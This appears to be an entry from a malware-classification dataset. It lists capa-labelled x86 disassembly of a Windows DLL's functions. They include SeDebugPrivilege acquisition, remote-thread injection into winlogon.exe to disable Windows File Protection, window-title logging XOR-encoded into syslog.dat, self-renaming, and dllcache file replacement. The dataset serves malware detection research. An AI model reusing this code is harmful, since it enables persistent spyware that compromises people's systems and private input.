joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007640
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001e1a8]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10c]
rep stosd dword es:[edi], eax
cmp byte [0x1001e313], 4
jne 0x100076b3
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 8]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
push edx
call fcn.1000d860
add esp, 4
lea eax, [esp + 8]
lea ecx, [esp + 0x10c]
push eax
push str._s_lang.ini
push ecx
jmp 0x100076c5
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push str._s_lang.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0xc
lea ecx, [esp + 0x10c]
push ecx
call esi
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100076f8
push 0x1001c57c
call esi
mov ecx, dword [esp + 0x218]
lea eax, [esp + 0x10c]
push eax
push ecx
push str.name
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
add esp, 0x208
ret

Function at 0x10007730
Capabilities:
Check if file exists
Get file attributes
Print debug messages

Disassembly:
sub esp, 0x208
mov ecx, 0x41
xor eax, eax
push esi
push edi
lea edi, [esp + 8]
push 0x104
rep stosd dword es:[edi], eax
mov ecx, dword [0x1001e1a8]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10c]
rep stosd dword es:[edi], eax
cmp byte [0x1001e313], 4
jne 0x100077a3
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 8]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
push edx
call fcn.1000d860
add esp, 4
lea eax, [esp + 8]
lea ecx, [esp + 0x10c]
push eax
push str._s_lang.ini
push ecx
jmp 0x100077b5
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push str._s_lang.ini
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0xc
lea ecx, [esp + 0x10c]
push ecx
call esi
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x100077e8
push 0x1001c57c
call esi
mov ecx, dword [esp + 0x214]
lea eax, [esp + 0x10c]
push eax
push ecx
push str.icon
push str.user
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
add esp, 0x208
ret
Function at 0x10007820
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push esi
push eax
push 0x28
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000789c
lea ecx, [esp + 8]
push ecx
push str.SeDebugPrivilege
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10007891
mov edx, dword [esp + 8]
mov eax, dword [esp + 0xc]
push esi
push esi
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 0xc]
push 0x10
push ecx
push esi
push edx
mov dword [esp + 0x28], 1
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10007891
mov esi, 1
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x1c
ret

Function at 0x100078b0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebp
push esi
mov esi, dword [esp + 0x138]
push edi
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_isdigit]
add esp, 4
test eax, eax
je 0x100078e3
push 0
push 0
push esi
call dword [sym.imp.MSVCRT.dll_strtoul]
add esp, 0xc
mov ebp, eax
jmp 0x100078e6
or ebp, 0xffffffff
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0xc], edi
jne 0x10007906
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x12c
ret
lea ecx, [esp + 0x10]
push ebx
push ecx
push edi
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x100079a5
mov ebx, dword [sym.imp.MSVCRT.dll__strlwr]
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push esi
call ebx
add esp, 4
lea edx, [esp + 0x3c]
push eax
push edx
call ebx
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
mov eax, dword [esp + 0x1c]
je 0x10007979
cmp eax, ebp
je 0x10007979
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x14]
push eax
push ecx
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10007928
jmp 0x100079a1
mov ebp, eax
lea edi, [esp + 0x38]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [esp + 0x144]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebp, 0xffffffff
pop ebx
jne 0x100079b4
xor ebp, ebp
pop edi
mov eax, ebp
pop esi
pop ebp
add esp, 0x12c
ret
Function at 0x10007a10
Capabilities:
Create thread

Disassembly:
push ecx
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 8]
lea eax, [esp]
push esi
push eax
mov eax, dword [edx + 4]
push 0
push 0
push ecx
push 0
push 0
push eax
mov dword [esp + 0x20], 0
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
je 0x10007a50
push 0xfa0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x10007a5c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 4]
pop esi
pop ecx
ret

Function at 0x10007a70
Capabilities:
Bypass windows file protection
Check os version

Disassembly:
sub esp, 0x110
push esi
push edi
call fcn.10007820
test eax, eax
je 0x10007ae6
push 0x1f0fff
lea eax, [esp + 0x10]
push str.winlogon.exe
push eax
call fcn.100079c0
add esp, 0xc
test eax, eax
je 0x10007ae6
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp al, 5
jne 0x10007acc
xor ecx, ecx
mov cl, ah
test cl, cl
jne 0x10007abd
push str.sfc.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
jmp 0x10007ad0
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
jmp 0x10007ad0
mov esi, dword [esp + 8]
push 2
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push esi
test edi, edi
jne 0x10007af1
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
xor eax, eax
pop esi
add esp, 0x110
ret
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 0xc]
push edi
push edx
call fcn.10007a10
add esp, 8
test eax, eax
je 0x10007ae6
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
add esp, 0x110
ret
Function at 0x10008040
Capabilities:
Delete file
Get common file path
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x10016c56
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x210
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov esi, ecx
push str.UnInstallService__
call edi
lea ecx, [esp + 0xc]
call fcn.1000f450
lea eax, [esp + 0x114]
push 0x104
push eax
mov dword [esp + 0x228], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x114]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp byte [0x1001e313], 4
jne 0x100080d2
add esi, 0x110
lea ecx, [esp + 0xc]
push esi
call fcn.1000f6c0
jmp 0x1000815a
lea ecx, [esp + 0xc]
call fcn.1000f490
cmp al, 2
jne 0x100080f5
lea eax, [esi + 0x110]
add esi, 0x10
push eax
push esi
lea ecx, [esp + 0x14]
call fcn.1000f4c0
jmp 0x1000815a
mov ecx, esi
call fcn.100081e0
push str.RemoveService_m_strServiceName__
call edi
lea edi, [esi + 0x10]
push edi
call fcn.10006010
add esp, 4
lea ecx, [esp + 8]
call fcn.1000bdf0
push 4
push edi
lea ecx, [esp + 0x10]
mov byte [esp + 0x228], 1
call fcn.1000c320
push edi
lea ecx, [esp + 0xc]
call fcn.1000c430
add esi, 0x110
push esi
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
lea ecx, [esp + 8]
mov byte [esp + 0x220], 0
call fcn.1000be20
lea ecx, [esp + 0xc]
mov dword [esp + 0x220], 0xffffffff
call fcn.1000f480
mov ecx, dword [esp + 0x218]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x21c
ret
Function at 0x100081e0
Capabilities:
Copy file
Delete file
Get common file path
Move file
Print debug messages

Disassembly:
sub esp, 0x208
push ebx
push ebp
push esi
push edi
mov ebx, ecx
call fcn.10007a70
mov ecx, dword [0x1001e1a8]
lea eax, [esp + 0x114]
push 0x104
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0x1001c63c
call esi
lea edx, [ebx + 0x10]
push edx
call esi
push 0x1001c634
call esi
lea eax, [esp + 0x114]
push eax
call esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push eax
lea ecx, [esp + 0x14]
push str._d.bak
push ecx
call esi
add esp, 0xc
lea edx, [esp + 0x10]
lea eax, [esp + 0x114]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 4
lea ecx, [esp + 0x14]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x14]
push str._s_lang.ini
push eax
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0xc
xor esi, esi
lea ecx, [esp + 0x10]
push ecx
call ebp
test eax, eax
jne 0x100082b4
push 0x14
call edi
inc esi
cmp esi, 0xa
jle 0x1000829f
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
lea edx, [esp + 0x114]
rep stosd dword es:[edi], eax
push edx
lea eax, [esp + 0x14]
push str._s.dll
push eax
call esi
lea ecx, [esp + 0x120]
lea edx, [esp + 0x1c]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_rename]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x24]
add esp, 0x14
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x114]
push ecx
mov ecx, ebx
call fcn.100081a0
lea edx, [esp + 0x10]
push eax
push edx
lea eax, [esp + 0x18]
push str._sdllcache_s
push eax
call esi
add esp, 0x10
lea ecx, [esp + 0x10]
lea edx, [esp + 0x114]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x208
ret
Function at 0x10008490
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x1001e1a0]
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100084dd
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebp, dword [esp + 0x18]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
test edi, edi
jle 0x1000850b
mov ecx, ebp
mov ebp, edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec ebp
jne 0x100084ff
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10008540
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x910
push ebx
mov ebx, dword [esp + 0x918]
push esi
push edi
test ebx, ebx
je 0x1000868c
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
cmp esi, 1
jb 0x1000868c
cmp esi, 0x80
ja 0x1000868c
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov edx, dword [0x1001e1a0]
cmp eax, dword [edx + 8]
je 0x10008636
mov dword [edx + 8], eax
mov ecx, dword [0x1001e1a0]
lea eax, [esp + 0x1c]
push 0x100
mov edx, dword [ecx + 8]
push eax
push edx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [esp + 0x18]
mov ecx, 0x200
xor eax, eax
lea edi, [esp + 0x11c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x16]
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x14]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x1e]
push ecx
mov ecx, dword [esp + 0x1e]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
lea edx, [esp + 0x138]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x140]
push eax
call fcn.10008540
mov edx, dword [0x1001e1a0]
add esp, 0x28
mov al, byte [edx + 0xc]
test al, al
je 0x1000864c
push ebx
call fcn.10008490
mov edx, dword [0x1001e1a0]
add esp, 4
mov edi, dword [edx]
mov ecx, esi
add ecx, edi
cmp ecx, 0x400
jbe 0x10008677
mov ecx, 0x100
xor eax, eax
lea edi, [edx + 0x111]
rep stosd dword es:[edi], eax
mov edx, dword [0x1001e1a0]
mov dword [edx], eax
mov edx, dword [0x1001e1a0]
add edx, 0x111
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x1001e1a0]
add dword [eax], esi
pop edi
pop esi
pop ebx
add esp, 0x910
ret
Function at 0x100088e0
Capabilities:
Read file via mapping

Disassembly:
sub esp, 0x28
lea ecx, [esp + 0x14]
push esi
mov esi, 0x10018550
lea eax, [esp + 0x18]
push ecx
lea ecx, [esp + 8]
mov dword [esp + 8], esi
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0xc
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], 0
call fcn.100089b0
mov dword [esp + 8], eax
lea edx, [esp + 0xc]
neg eax
sbb eax, eax
push str._kaspersky
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
test eax, eax
mov dword [0x1001e1a4], eax
jne 0x10008953
mov eax, dword [esp + 8]
mov dword [esp + 4], esi
jmp 0x10008973
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x1001e1a0], eax
mov dword [esp + 4], esi
test eax, eax
mov eax, dword [esp + 8]
jne 0x1000898e
test eax, eax
je 0x10008987
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x100089a2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
add esp, 0x28
ret

Function at 0x10008cf0
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
sub esp, 0x108
push ebx
push ebp
push edi
lea eax, [esp + 0x10]
xor edi, edi
push 0x104
mov ebp, ecx
push eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x10]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea edx, [esp + 0x24]
push closesocket
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x10008d92
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test edi, edi
jbe 0x10008d7d
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x10008d6f
push edi
push esi
mov ecx, ebp
call fcn.10008c90
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop ebp
pop ebx
add esp, 0x108
ret
Function at 0x10009400
Capabilities:
Delete registry key
Delete registry value
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10018580
push 0x10016628
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x64
push ebx
push esi
push edi
mov dword [ebp - 0x6c], 0
push str.RegisterServiceCtrlHandlerA
push str.ADVAPI32.dll
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
push str.SetServiceStatus
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.OpenEventLogA
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.CloseServiceHandle
push str.ADVAPI32.dll
call esi
push eax
call edi
push str.RegSetValueExA
push str.ADVAPI32.dll
call esi
push eax
call edi
mov ebx, eax
push str.RegCloseKey
push str.ADVAPI32.dll
call esi
push eax
call edi
mov dword [ebp - 0x34], eax
mov dword [ebp - 4], 0
mov eax, dword [ebp + 0x20]
cmp eax, 3
ja case.default.0x100094a8
jmp dword [eax*4 + 0x100095ec]
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x74]
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne case.default.0x100094a8
lea ecx, [ebp - 0x74]
push ecx
push 0x2001f
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100094a8
mov esi, dword [ebp + 0x14]
test esi, esi
jbe case.default.0x100094a8
cmp esi, 2
jbe 0x10009532
cmp esi, 4
jne case.default.0x100094a8
push esi
lea ecx, [ebp + 0x1c]
push ecx
push esi
push eax
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x74]
push eax
call ebx
test eax, eax
jne case.default.0x100094a8
jmp 0x100095b4
mov edx, dword [ebp + 0x18]
mov edi, edx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push esi
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x74]
push edx
call ebx
test eax, eax
jne case.default.0x100094a8
jmp 0x100095b4
lea eax, [ebp - 0x74]
push eax
push 0x2001f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100094a8
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 0x74]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne case.default.0x100094a8
jmp 0x100095b4
lea edx, [ebp - 0x74]
push edx
push 0x2001f
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne case.default.0x100094a8
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne case.default.0x100094a8
mov dword [ebp - 0x6c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.100095db
mov eax, dword [ebp - 0x6c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009720
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x3c
lea eax, [esp + 8]
lea edx, [ecx + 8]
push ebx
push esi
xor esi, esi
push eax
mov eax, dword [ecx + 4]
push 0xf003f
push esi
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100098a7
push eax
lea ecx, [esp + 0x2c]
push eax
lea edx, [esp + 0x34]
push ecx
lea eax, [esp + 0x3c]
push edx
push eax
mov eax, dword [esp + 0x24]
lea ecx, [esp + 0x30]
push esi
lea edx, [esp + 0x20]
push ecx
push edx
push esi
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x1000977e
pop esi
xor eax, eax
pop ebx
add esp, 0x3c
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 8]
test eax, eax
lea ebx, [ecx + 1]
jbe 0x100098a7
cmp ebx, 1
jbe 0x100098a7
mov esi, ebx
push ebp
imul esi, eax
add esi, 0xe
push edi
push esi
push 0x40
mov dword [esp + 0x34], esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, esi
mov edx, eax
mov ebp, ecx
xor eax, eax
mov edi, edx
mov dword [esp + 0x20], edx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
push ebx
and ecx, 3
inc edx
rep stosb byte es:[edi], al
mov byte [edx - 1], 0x87
mov eax, dword [esp + 0x14]
mov cl, byte [esp + 0x4c]
mov dword [edx], eax
mov eax, dword [esp + 0x48]
mov dword [edx + 4], ebx
mov dword [edx + 8], eax
mov byte [edx + 0xc], cl
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
mov eax, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0x14], 0
test eax, eax
jbe 0x10009881
mov edx, dword [esp + 0x20]
add edx, 0xd
mov dword [esp + 0x1c], edx
mov ecx, ebx
xor eax, eax
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
push 0
rep stosb byte es:[edi], al
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push 0
lea eax, [esp + 0x34]
push 0
push eax
push ebp
push ecx
push edx
mov dword [esp + 0x48], ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x1c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
add edx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x14]
and ecx, 3
inc eax
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x14], eax
cmp eax, ecx
mov dword [esp + 0x1c], edx
jb 0x1000980d
mov esi, dword [esp + 0x2c]
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov ecx, dword [esp + 0x1c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, dword [esp + 0x20]
push 0x42
push esi
push edx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
pop edi
mov esi, eax
pop ebp
mov eax, esi
pop esi
pop ebx
add esp, 0x3c
ret
Function at 0x10009ce0
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 1
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8

Function at 0x10009d20
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 8
lea eax, [esp]
lea edx, [esp + 0xc]
push eax
lea eax, [esp + 8]
push edx
mov edx, dword [esp + 0x14]
push eax
mov eax, dword [ecx + 4]
push 0
push edx
push eax
mov dword [esp + 0x18], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10009d64
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov eax, 1
mov dword [ecx], edx
add esp, 8
ret 8
xor eax, eax
add esp, 8
ret 8

Function at 0x10009d70
Capabilities:
Query or enumerate registry value

Disassembly:
push ecx
mov edx, dword [esp + 0xc]
lea eax, [esp]
push eax
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
push eax
mov eax, dword [ecx + 4]
push 0
push edx
push eax
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb eax, eax
inc eax
pop ecx
ret 8

Function at 0x10009df0
Capabilities:
Set registry value

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
mov ecx, dword [edx + 4]
push esi
push 2
push eax
mov eax, dword [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
ret 8